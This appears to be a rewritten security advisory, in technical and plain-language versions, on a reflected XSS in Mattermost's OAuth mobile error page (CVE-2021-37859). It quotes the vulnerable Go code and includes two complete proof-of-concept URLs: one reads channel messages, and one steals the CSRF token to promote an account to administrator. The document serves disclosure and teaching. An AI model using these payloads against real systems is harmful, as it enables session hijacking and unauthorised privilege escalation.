Mattermost Server v5.32 > v5.36 Reflected XSS in OAuth flow
The OAuth flow in Mattermost server fails to sanitise the 'redirect_to' query parameter before reflecting it in an HTML error page, allowing an attacker to inject JavaScript. An unauthenticated attacker could trick a victim into clicking a crafted link and execute arbitrary JavaScript in the victim's browser, potentially reading messages or, if the victim is an admin, promoting the attacker's account to system administrator.
Published on shielder.it
The OAuth flow implemented in Mattermost server v5.32 > v5.36 is affected by a reflected XSS. An unauthenticated attacker might gain access to the victim’s session.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Mattermost is an open source, self-hosted Slack alternative. The advisory describes a reflected cross-site scripting issue in the OAuth flow of Mattermost Server versions v5.32 through v5.36. The affected code lives in /web/oauth.go, in the completeOAuth handler, and in the error rendering helpers in utils/api.go.
The OAuth flow is what a client goes through when it authenticates against Mattermost through an OAuth provider. When something goes wrong during that flow, the server renders an error page. For mobile clients the server renders a dedicated mobile error page, and that page includes a link back to the application. The redirect_to query parameter is used to build that link.
The issue is tracked as CVE-2021-37859 (MMSA-2021-0055).
Setup
No special accounts or tooling are needed to reach the vulnerable code: the OAuth error path is reachable without authentication. The two proofs of concept use different victim roles:
- A regular user, whose session is used to read messages from a channel.
- An administrator, whose session is used to change the roles of another user.
Both PoCs are delivered as a URL that the victim has to visit. The placeholders in the URLs are <mattermost_url> (the target instance domain or IP), <user_id> and <channel_id>.
Finding it
The researcher traced how the redirect_to parameter travels through the OAuth error handling. In completeOAuth, the parameter is read from the query string and stored in redirectURL:
if props != nil {
action = props["action"]
isMobile = action == model.OAUTH_ACTION_MOBILE
if val, ok := props["redirect_to"]; ok {
[1] redirectURL = val
hasRedirectURL = redirectURL != ""
}
}
renderError := func(err *model.AppError) {
if isMobile && hasRedirectURL {
[2] utils.RenderMobileError(c.App.Config(), w, err, redirectURL)
} else {
utils.RenderWebAppError(c.App.Config(), w, r, err, c.App.AsymmetricSigningKey())
}
}
When the action is the mobile one and a redirect URL is present, the error is rendered with utils.RenderMobileError, passing redirectURL along. That function concatenates the value straight into an anchor element:
func RenderMobileError(config *model.Config, w http.ResponseWriter, err *model.AppError, redirectURL string) {
RenderMobileMessage(w, `
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" style="width: 64px; height: 64px; fill: #ccc">
<!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) -->
<path d="M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"/>
</svg>
<h2> `+i18n.T("error")+` </h2>
<p> `+err.Message+` </p>
[1] <a href="`+redirectURL+`">
`+i18n.T("api.back_to_app", map[string]interface{}{"SiteName": config.TeamSettings.SiteName})+`
</a>
`)
}
RenderMobileMessage builds the page around the message it receives and writes it out with fmt.Fprintln:
[...]
</head>
<body>
<!-- mobile app message -->
<div class="message-container">
[1] `+message+`
</div>
</body>
</html>
`)
Because redirect_to is never sanitised and ends up inside the HTML response, a crafted value can break out of the href attribute and inject markup. That is the reflected XSS.
Exploitation
Step 1: read a channel as a regular user
The first PoC makes the victim's browser fetch unread posts from a channel and display the response in an alert(). In a real attack the same request could be sent to an attacker-controlled server instead.
- Send the victim a URL built from the target instance, the victim's user ID and the channel ID:
http://<mattermost_url>/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src=%22%22%20onerror="var xhr = new XMLHttpRequest()%3bxhr.open('GET', '/api/v4/users/<user_id>/channels/<channel_id>/posts/unread?limit_after=30', true)%3bxhr.withCredentials = true%3bxhr.send(null)%3balert(xhr.responseText)%3b"%3E
- The victim sees a pop-up containing the latest messages of the chosen channel.
Step 2: promote a user to administrator
The second PoC targets an administrator. The injected script sends a PUT request that changes the roles of the attacker's user to system_admin.
- Send the administrator a URL containing the user ID to promote:
http://<mattermost_url>/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src=%22%22%20onerror="var xhr = new XMLHttpRequest()%3bxhr.open('PUT', '/api/v4/users/<user_id>/roles', true)%3bxhr.withCredentials = true%3bxhr.setRequestHeader('X-CSRF-Token', document.cookie.match(new RegExp('(^| )'%2b'MMCSRF'%2b'=([^%3b]%2b)'))[2])%3bxhr.send(JSON.stringify('{\'roles\':\'system_user system_admin\'}'))%3b"%3E
-
Log in with the account whose user ID was used in the URL.
-
The account is now an administrator. This can be checked by visiting
/admin_console/user_management/users.
Root cause
The redirect_to query parameter is taken from the request and concatenated into the HTML of the mobile error page without any sanitisation or encoding. It is placed inside an href attribute, and the report notes the value is never sanitised before being appended to the page. The error page is served during the OAuth flow, which an unauthenticated attacker can trigger by getting a victim to open a link.
Impact
An unauthenticated attacker can gain access to a privileged user's session by convincing that user to visit a crafted link. The two demonstrated outcomes are reading messages from a channel as the victim and, when the victim is an administrator, changing another user's roles to system_admin.
Fix
Mattermost released patches in v5.34.5, v5.35.4, v5.36.1 and v5.37.0. Upgrade to v5.34.5, v5.35.4, v5.36.1 or v5.37.0 or higher. The timeline records that a bypass of the v5.36 fix was reported on 16/06/2021 and acknowledged by Mattermost, and that v5.36.1 was released on 21/06/2021 with a patch.
- Other parameters reflected into HTML attributes in error or redirect pages. A positive result is a value that closes the attribute and injects an element with an event handler that executes.
- Other branches of the same OAuth error handling, for example the non-mobile path through
RenderWebAppError. A positive result is the same breakout behaviour in the rendered page. - The same
redirect_toparameter with different encodings or additional characters. A positive result is execution where a simple filter blocks the obvious payload. - State-changing API calls from the injected script, such as the roles endpoint in the second PoC. A positive result is a request that succeeds with the victim's session and CSRF token.
Disclosure timeline
- 03/06/2021: reported to Mattermost via its public bug bounty program on HackerOne.
- 07/06/2021: Mattermost acknowledged the issue, requested an additional PoC to prove impact, and agreed with Shielder on the impact.
- 16/06/2021: Shielder reported a bypass of the v5.36 fix; Mattermost acknowledged it and rewarded Shielder, including a bonus for the bypass.
- 21/06/2021: Mattermost released v5.36.1 with a patch.
- 26/07/2021: the advisory was made public.
Credits: zi0Black of Shielder. The advisory was first published at https://www.shielder.com/advisories/mattermost-server-reflected-xss-oauth/.
What happened, in plain words
Mattermost is a chat program that companies can install on their own servers, a bit like a self-hosted Slack. It has a login feature called OAuth, which lets a user sign in through another service. When that login goes wrong, Mattermost shows an error page. On that page there is a link back to the app, and the address of that link is taken from the web address the visitor typed. The server never checked what was in that address before putting it into the page.
Because of that, someone could craft a special link. When a logged-in user clicked it, the page would run a small piece of JavaScript written by the attacker, inside the Mattermost site, with the user's own login. That is called a reflected cross-site scripting (XSS) bug. With it, an attacker who is not logged in at all could read a user's messages, or, if the person clicking was an administrator, give the attacker's account administrator rights.
The bug was found by zi0Black of Shielder, reported to Mattermost through its public bug bounty programme on HackerOne, and fixed. It was tracked as CVE-2021-37859 (MMSA-2021-0055).
The product and the feature involved
Mattermost describes itself as "an open source, self-hosted Slack-alternative" that "brings all your team communication into one place, making it searchable and accessible anywhere." In everyday terms: instead of paying a cloud company, an organisation runs the chat server itself, and its staff use it in a browser or a phone app.
Two features matter here.
OAuth. This is a way for one website to let another website confirm who you are, without sharing your password. A common everyday comparison: when a website says "sign in with Google", Google checks your identity and hands the website a short confirmation. Mattermost supports this kind of login. When a step fails, Mattermost does not just show a blank page; it shows an error page with a button or link to get back to the app.
The mobile error page. Phone apps cannot show a normal web error page in a useful way, so Mattermost has a separate, simpler error page for mobile clients. That page contains a link back to the application. The destination of that link comes from a value in the web address, a query parameter called redirect_to.
What a query parameter is
When you type an address like http://example.com/page?name=alice, everything after the ? is the query string. It is a list of name=value pairs separated by &. The server reads these values and can use them to build the page. Here the interesting pair is redirect_to=..., which tells the error page where the "back to app" link should point.
A query parameter is fully under the control of whoever types the address. That is the whole problem: the server trusted it.
What cross-site scripting means
A web page is made of HTML, the language that describes headings, paragraphs, links and images. HTML also allows small programs written in JavaScript to run inside the page. Normally the site's own developers write that JavaScript.
Cross-site scripting happens when a site takes something a visitor supplied and places it into the page as if it were HTML written by the developers. The visitor's text is then treated as code. If the text contains a piece of JavaScript, the browser runs it, and it runs as part of the Mattermost site, so it can do anything the logged-in user could do: read their data, send requests on their behalf, change settings.
"Reflected" means the malicious value is not stored on the server. It travels in the link, is echoed back in the response page once, and is gone. The attacker only needs the victim to open the link.
Finding the bug: following the value
The researcher read the Mattermost source code and followed the redirect_to value from the moment it arrives to the moment it appears in the page. The relevant code is in /web/oauth.go, in a function called completeOAuth, which handles the end of the OAuth login.
if props != nil {
action = props["action"]
isMobile = action == model.OAUTH_ACTION_MOBILE
if val, ok := props["redirect_to"]; ok {
[1] redirectURL = val
hasRedirectURL = redirectURL != ""
}
}
renderError := func(err *model.AppError) {
if isMobile && hasRedirectURL {
[2] utils.RenderMobileError(c.App.Config(), w, err, redirectURL)
} else {
utils.RenderWebAppError(c.App.Config(), w, r, err, c.App.AsymmetricSigningKey())
}
}
Line by line, in plain words:
if props != nil {checks that there is some information about the login attempt to work with.action = props["action"]reads which kind of login this is.isMobile = action == model.OAUTH_ACTION_MOBILEsets a true/false flag: is this the mobile kind?if val, ok := props["redirect_to"]; ok {looks for aredirect_tovalue. If it exists,okis true.[1] redirectURL = valcopies that value, exactly as supplied, into a variable. No cleaning, no checking.hasRedirectURL = redirectURL != ""records whether the value was non-empty.renderError := func(err *model.AppError) {defines a small helper that will draw the error page.if isMobile && hasRedirectURL {if this is the mobile flow and a redirect address was given...[2] utils.RenderMobileError(c.App.Config(), w, err, redirectURL)...draw the mobile error page, handing it the rawredirectURL.} else {otherwise...utils.RenderWebAppError(...)...draw the normal web error page.
The key moment is [1]: the value from the address bar is stored untouched. The second key moment is [2]: it is passed on to a function that builds HTML.
Where the value lands in the page
The function RenderMobileError lives in utils/api.go. It builds the mobile error page and puts redirectURL inside a link.
func RenderMobileError(config *model.Config, w http.ResponseWriter, err *model.AppError, redirectURL string) {
RenderMobileMessage(w, `
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512" style="width: 64px; height: 64px; fill: #ccc">
<!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) -->
<path d="M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"/>
</svg>
<h2> `+i18n.T("error")+` </h2>
<p> `+err.Message+` </p>
[1] <a href="`+redirectURL+`">
`+i18n.T("api.back_to_app", map[string]interface{}{"SiteName": config.TeamSettings.SiteName})+`
</a>
`)
}
What this does, in plain words:
- The function receives the configuration, the response writer (the object that sends the page back to the browser), the error, and the
redirectURLstring. - It calls
RenderMobileMessage, passing a big block of HTML as text. - The
<svg>and<path>parts draw a warning triangle icon. They are decoration. <h2>+i18n.T("error")+</h2>is a heading with the translated word "error".i18nmeans internationalisation: the same page in different languages.<p>+err.Message+</p>is a paragraph with the error message.[1] <a href="+redirectURL+">is the important line. It starts a link (<a>), opens its destination attribute (href="), then glues in the rawredirectURL, then closes the attribute with">. The link text is the translated "back to app" phrase.
The plus signs mean string concatenation: the pieces are joined into one long piece of text. The redirectURL is joined in as if it were part of the HTML. Nothing escapes it, nothing encodes it, nothing checks it.
How the page is sent
RenderMobileMessage wraps that text in a full HTML document and writes it to the browser.
[...]
</head>
<body>
<!-- mobile app message -->
<div class="message-container">
[1] `+message+`
</div>
</body>
</html>
`)
In plain words: the page has a head, a body, and a container div. At [1] the message (which contains our link with the raw value) is inserted. The whole string is then written out as the HTTP response, so the browser receives it and parses it as HTML.
Why this is exploitable
HTML attributes are delimited by double quotes. The server writes <a href=" then the value then ">. If the value contains a double quote, the attribute ends early. If it then contains a >, the link tag ends too. Everything after that is read by the browser as new HTML, written by the attacker.
An everyday comparison: imagine a form letter that says Dear [name], and someone writes their name as Alice. P.S. Please send money to this account. The letter template did not intend that sentence, but it appears in the letter all the same. Here the "sentence" is an HTML tag with a small program attached.
Proof of concept 1: reading a channel as a regular user
The first demonstration uses the victim's own login to fetch messages from a channel and show them in a pop-up. In a real attack the same request could be sent to a server the attacker controls, so the messages would leave the company.
- The attacker builds a link and sends it to the victim. The placeholders are
<mattermost_url>(the address of the target Mattermost server),<user_id>(the victim's user ID) and<channel_id>(the channel whose messages are wanted):
http://<mattermost_url>/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src=%22%22%20onerror="var xhr = new XMLHttpRequest()%3bxhr.open('GET', '/api/v4/users/<user_id>/channels/<channel_id>/posts/unread?limit_after=30', true)%3bxhr.withCredentials = true%3bxhr.send(null)%3balert(xhr.responseText)%3b"%3E
- The victim clicks. A pop-up appears showing the latest messages of that channel.
What the link contains, piece by piece:
http://<mattermost_url>/oauth/shielder/mobile_loginis the OAuth endpoint.mobile_loginis the mobile variant, which is the one that reaches the vulnerable error page.?redirect_to=starts the query string and names the parameter the server will read.- Decoded, the value begins
">, which closes thehrefattribute and the<a>tag. - This is a standard trick: an event handler is JavaScript that the browser runs when something happens, here when the image fails.
- Inside the handler,
var xhr = new XMLHttpRequest()creates an object that can send requests from JavaScript.xhr.open('GET', '/api/v4/users/<user_id>/channels/<channel_id>/posts/unread?limit_after=30', true)prepares a GET request to Mattermost's own API for unread posts in that channel, asking for up to 30. An API is simply a set of addresses a program can call to read or change data, as opposed to pages meant for people. - A cookie is a small piece of data the browser stores for a site and sends back on every request; it is how the server recognises a logged-in user. Without this line the request would be anonymous.
xhr.send(null)sends the request.alert(xhr.responseText)shows the server's answer in a pop-up. In a real attack this line would instead send the answer to the attacker.
Because the script runs inside the Mattermost page, the browser treats it as Mattermost's own code and allows it to read the response.
Proof of concept 2: making a user an administrator
The second demonstration targets an administrator. The script sends a request that changes the roles of the attacker's account to system_admin, which is the highest level in Mattermost.
- The attacker sends the administrator a link containing the user ID to promote:
http://<mattermost_url>/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src=%22%22%20onerror="var xhr = new XMLHttpRequest()%3bxhr.open('PUT', '/api/v4/users/<user_id>/roles', true)%3bxhr.withCredentials = true%3bxhr.setRequestHeader('X-CSRF-Token', document.cookie.match(new RegExp('(^| )'%2b'MMCSRF'%2b'=([^%3b]%2b)'))[2])%3bxhr.send(JSON.stringify('{\'roles\':\'system_user system_admin\'}'))%3b"%3E
-
The attacker then logs in with the account whose ID was in the link.
-
The account is now an administrator. This can be checked by visiting
/admin_console/user_management/users.
What is different from the first link:
- The breakout is the same:
%22%3Ecloses the attribute and tag, and the<img>with an empty source and anonerrorhandler runs the script. xhr.open('PUT', '/api/v4/users/<user_id>/roles', true)prepares a PUT request. PUT is an HTTP method used to update something; here it updates the roles of the given user.xhr.withCredentials = trueagain makes the browser send the administrator's cookies, so the server sees the request as coming from the administrator.- Because the script is running inside the Mattermost page, it can read that cookie.
Root cause, in one place
The redirect_to query parameter is copied from the request and pasted into the HTML of the mobile error page with no sanitisation and no encoding. It sits inside an href attribute, and the report notes the value is never sanitised before being appended to the page. The page is served during the OAuth flow, which anyone can reach without logging in, as long as a victim opens the link.
Impact
An unauthenticated attacker can gain access to a privileged user's session by getting that user to open a crafted link. The two demonstrated outcomes are reading messages from a channel as the victim, and, when the victim is an administrator, changing another user's roles to system_admin.
The fix
Mattermost released patches in v5.34.5, v5.35.4, v5.36.1 and v5.37.0. Upgrade to v5.34.5, v5.35.4, v5.36.1 or v5.37.0 or higher. The timeline records that a bypass of the v5.36 fix was reported on 16/06/2021 and acknowledged by Mattermost, and that v5.36.1 was released on 21/06/2021 with a patch.
If you are learning to look for this kind of bug, these are the directions the report suggests:
- Other parameters reflected into HTML attributes in error or redirect pages. A positive result is a value that closes the attribute and injects an element with an event handler that executes.
- Other branches of the same OAuth error handling, for example the non-mobile path through
RenderWebAppError. A positive result is the same breakout behaviour in the rendered page. - The same
redirect_toparameter with different encodings or additional characters. A positive result is execution where a simple filter blocks the obvious payload. - State-changing API calls from the injected script, such as the roles endpoint in the second PoC. A positive result is a request that succeeds with the victim's session and CSRF token.
Disclosure timeline
- 03/06/2021: reported to Mattermost via its public bug bounty programme on HackerOne.
- 07/06/2021: Mattermost acknowledged the issue, requested an additional PoC to prove impact, and agreed with Shielder on the impact.
- 16/06/2021: Shielder reported a bypass of the v5.36 fix; Mattermost acknowledged it and rewarded Shielder, including a bonus for the bypass.
- 21/06/2021: Mattermost released v5.36.1 with a patch.
- 26/07/2021: the advisory was made public.
Credits: zi0Black of Shielder. The advisory was first published at https://www.shielder.com/advisories/mattermost-server-reflected-xss-oauth/.
Glossary
- API: a set of addresses a program can call to read or change data, separate from the pages people see.
- Attribute: a setting inside an HTML tag, such as the destination of a link (
href). - Cookie: a small piece of data a browser stores for a site and sends back with each request, used to recognise a logged-in user.
- CSRF (cross-site request forgery): tricking a logged-in user's browser into sending a state-changing request; anti-CSRF tokens are used to prevent it.
- CSRF token: a value the server expects on state-changing requests, so forged requests are rejected.
- CVE: a public identifier for a known security vulnerability.
- GET: an HTTP method used to ask for data.
- Header: extra information attached to an HTTP request or response.
- HTML: the language that describes the structure of a web page.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- JavaScript: the programming language browsers run inside web pages.
- JSON: a text format for structured data.
- OAuth: a way for one site to let another confirm a user's identity without sharing the password.
- onerror: an HTML event handler that runs JavaScript when something, such as an image, fails to load.
- PUT: an HTTP method used to update something on the server.
- Query parameter: a
name=valuepair after the?in a web address. - Reflected: a value that comes in with a request and is echoed back in the response, not stored.
- Session: the server's record of a logged-in user, usually tied to a cookie.
- URL encoding: writing special characters as
%codes so they can travel inside a web address. - XMLHttpRequest: a JavaScript object used to send requests from a page.